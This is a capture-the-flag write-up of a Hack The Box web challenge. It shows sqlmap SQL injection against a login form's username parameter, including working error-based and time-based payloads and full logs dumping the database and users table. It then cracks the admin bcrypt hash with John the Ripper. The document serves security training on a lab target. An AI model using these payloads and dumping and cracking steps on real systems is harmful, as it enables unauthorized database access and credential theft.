KORP Terminal Writeup - Cyber Apocalypse 2024
→ 1 Introduction
This writeup covers the KORP Terminal Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge was a black box web application assessment involving SQL injection and password cracking.
The description of the challenge is shown below.
→ 2 Key techniques
The key techniques employed in this writeup are:
- SQL injection using sqlmap
- Password cracking using John the Ripper
→ 3 Mapping the application interactively
The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed a login form.
→ 4 Vulnerability analysis - SQL injection
A manual attempt to log in using basic guessed credentials of
admin:password
was unsuccessful. The request was saved from
mitmproxy
into request.txt
:
POST / HTTP/1.1
Host: 94.237.54.152:49165
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://94.237.54.152:49165
Connection: keep-alive
Referer: http://94.237.54.152:49165/
Upgrade-Insecure-Requests: 1
username=admin&password=password
sqlmap
was invoked to scan the site for SQL injection
vulnerabilities using the captured request and the
--ignore-code 401
option to ignore HTTP 401 Unauthorized
responses due to invalid credentials. sqlmap
detected that
the username
parameter is vulnerable to error-based and
time-based blind SQL injection techniques. SQL Injection is an instance
of the common weakness CWE-89: Improper
Neutralization of Special Elements used in an SQL Command (‘SQL
Injection’).
$ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401
<snip/>
[*] starting @ 02:36:54 /2024-03-10/
[02:36:54] [INFO] parsing HTTP request from 'request.txt'
[02:36:54] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
[02:36:54] [INFO] testing connection to the target URL
[02:36:56] [INFO] checking if the target is protected by some kind of WAF/IPS
[02:36:57] [INFO] testing if the target URL content is stable
[02:36:58] [INFO] target URL content is stable
[02:36:58] [INFO] testing if POST parameter 'username' is dynamic
[02:36:58] [WARNING] POST parameter 'username' does not appear to be dynamic
[02:36:59] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')
[02:36:59] [INFO] testing for SQL injection on POST parameter 'username'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[02:37:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:37:22] [WARNING] reflective value(s) found and filtering out
[02:37:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[02:37:28] [INFO] testing 'Generic inline queries'
[02:37:29] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:37:30] [INFO] POST parameter 'username' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[02:37:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:37:30] [WARNING] time-based comparison requires larger statistical model, please wait............ (done)
[02:37:53] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[02:37:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:37:53] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:37:55] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[02:37:58] [INFO] target URL appears to have 1 column in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
[02:38:23] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
[02:38:35] [INFO] target URL appears to be UNION injectable with 1 columns
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
---
[02:38:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[02:38:48] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 36 times, 500 (Internal Server Error) - 38 times
[02:38:48] [INFO] fetched data logged to text files under 'REDACTED/sqlmap-output/94.237.54.152'
[*] ending @ 02:38:48 /2024-03-10/
→ 5 Exploitation - dumping the database
→ 5.1 Dumping database names (the roundabout way)
sqlmap
was passed the --tables
option to
dump table names1 but was aborted via Ctrl-C as soon
as the korp_terminal
database was observed, as it was
highly likely to be the required database:
$ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401 --tables
<snip/>
[*] starting @ 02:47:13 /2024-03-10/
[02:47:13] [INFO] parsing HTTP request from 'request.txt'
[02:47:13] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
[02:47:13] [INFO] resuming back-end DBMS 'mysql'
[02:47:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
---
[02:47:15] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[02:47:15] [INFO] fetching database names
[02:47:15] [INFO] resumed: 'information_schema'
[02:47:15] [INFO] resumed: 'korp_terminal'
[02:47:15] [INFO] resumed: 'test'
<snip/>
→ 5.2 Dumping table names from the korp_terminal database
sqlmap
was invoked to dump table names
(--tables
) from the korp_terminal
database
(-D korp_terminal
), resulting in one table
users
being found:
$ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401 -D korp_terminal --tables
<snip/>
[*] starting @ 02:47:37 /2024-03-10/
[02:47:37] [INFO] parsing HTTP request from 'request.txt'
[02:47:37] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
[02:47:37] [INFO] resuming back-end DBMS 'mysql'
[02:47:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
---
[02:47:38] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[02:47:38] [INFO] fetching tables for database: 'korp_terminal'
[02:47:40] [INFO] retrieved: 'users'
Database: korp_terminal
[1 table]
+-------+
| users |
+-------+
[02:47:40] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times, 500 (Internal Server Error) - 2 times
[02:47:40] [INFO] fetched data logged to text files under 'REDACTED/sqlmap-output/94.237.54.152'
[*] ending @ 02:47:40 /2024-03-10/
→ 5.3 Dumping the korp_terminal.users table
sqlmap
was invoked to dump the records
(--dump
) from the users
tables
(-T users
) in the korp_terminal
database
(-D korp_terminal
). There was one record found containing
the hashed password for the admin
user.
$ sqlmap -r request.txt --output-dir sqlmap-output --ignore-code 401 -D korp_terminal -T users --dump
<snip/>
[*] starting @ 02:49:12 /2024-03-10/
[02:49:12] [INFO] parsing HTTP request from 'request.txt'
[02:49:12] [WARNING] using 'REDACTED/sqlmap-output' as the output directory
[02:49:12] [INFO] resuming back-end DBMS 'mysql'
[02:49:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=admin' AND EXTRACTVALUE(6492,CONCAT(0x5c,0x7170717a71,(SELECT (ELT(6492=6492,1))),0x716a716271)) AND 'xjyE'='xjyE&password=password
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 3416 FROM (SELECT(SLEEP(5)))jUXi) AND 'fbhm'='fbhm&password=password
---
[02:49:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[02:49:13] [INFO] fetching columns for table 'users' in database 'korp_terminal'
[02:49:14] [INFO] retrieved: 'id'
[02:49:15] [INFO] retrieved: 'int(11)'
[02:49:16] [INFO] retrieved: 'username'
[02:49:16] [INFO] retrieved: 'varchar(255)'
[02:49:17] [INFO] retrieved: 'password'
[02:49:17] [INFO] retrieved: 'varchar(255)'
[02:49:17] [INFO] fetching entries for table 'users' in database 'korp_terminal'
[02:49:18] [INFO] retrieved: '1'
[02:49:21] [INFO] retrieved: '$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.'
[02:49:22] [INFO] retrieved: 'admin'
Database: korp_terminal
Table: users
[1 entry]
+----+--------------------------------------------------------------+----------+
| id | password | username |
+----+--------------------------------------------------------------+----------+
| 1 | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. | admin |
+----+--------------------------------------------------------------+----------+
[02:49:22] [INFO] table 'korp_terminal.users' dumped to CSV file 'REDACTED/sqlmap-output/94.237.54.152/dump/korp_terminal/users.csv'
[02:49:22] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times, 500 (Internal Server Error) - 14 times
[02:49:22] [INFO] fetched data logged to text files under 'REDACTED/sqlmap-output/94.237.54.152'
[*] ending @ 02:49:22 /2024-03-10/
→ 6 Exploitation - cracking the admin password hash
→ 6.1 Identifying the hash type
Searching the hashcat
example hashes for $2b$
indicates the password hash is
using the bcrypt algorithm.
OWASP indicates the bcrypt password hashing function is a legacy function but if it is used, it should have a minimum work factor of 10.
Wikipedia
describes the bcrypt hash in detail, which indicates the value between
the second pair of $
s is the work factor (aka. cost).
Therefore, the found hash has a work factor of 12.
→ 6.2 Cracking the bcrypt hash
The admin hash was placed into hash.txt
:
admin:$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.
John the Ripper was
invoked to crack the hash using the common rockyou.txt
password list. The password was found to have a weak value of
password123
, which is an instance of the common weakness CWE-1391: Use of
Weak Credentials.
$ john hash.txt -wordlist:~/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2024-03-11 13:40) 0g/s 82.12p/s 82.12c/s 82.12C/s hellokitty..brenda
0g 0:00:00:14 0.01% (ETA: 2024-03-12 08:51) 0g/s 86.01p/s 86.01c/s 86.01C/s franklin..rangers1
0g 0:00:00:15 0.01% (ETA: 2024-03-12 09:37) 0g/s 86.17p/s 86.17c/s 86.17C/s winston..angel123
password123 (admin)
1g 0:00:00:16 0.01% (ETA: 2024-03-12 10:19) 0.05998g/s 86.38p/s 86.38c/s 86.38C/s lacoste..michel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
→ 7 Obtaining the flag
The cracked credentials of admin:password123
were
entered into the login form, resulting in the flag being returned in the
response.
→ 8 Conclusion
The flag was submitted and the challenge was marked as pwned